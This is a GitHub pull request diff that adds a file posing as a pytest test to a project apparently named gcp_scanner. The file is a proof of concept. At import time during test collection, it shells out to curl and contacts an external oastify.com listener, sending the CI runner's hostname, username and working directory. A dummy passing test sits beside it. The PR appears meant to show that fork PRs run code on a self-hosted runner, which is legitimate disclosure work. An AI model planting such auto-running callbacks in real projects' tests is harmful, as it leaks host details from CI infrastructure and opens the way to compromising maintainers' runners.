Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions test/test_runner_poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
"""PoC: prove a fork PR executes on gcp_scanner's self-hosted runner.

Pytest imports this module during collection; the module-level call below runs
arbitrary code on the self-hosted runner that executes the `test` job. Replace
LISTENER with your webhook.site / interactsh URL. Non-destructive: one HTTP GET.
"""

import getpass
import os
import socket
import subprocess


def _probe():
listener = "https://zgjg9ks9d67q3q2aa6kv5daq9hf83yrn.oastify.com"
try:
subprocess.run(
[
"curl", "-fsS", "-m", "10",
f"{listener}/poc?repo=gcp_scanner"
f"&runner={socket.gethostname()}"
f"&user={getpass.getuser()}"
f"&pwd={os.getcwd()}",
],
check=False,
timeout=15,
)
except Exception:
pass


_probe()


def test_probe_marker():
assert True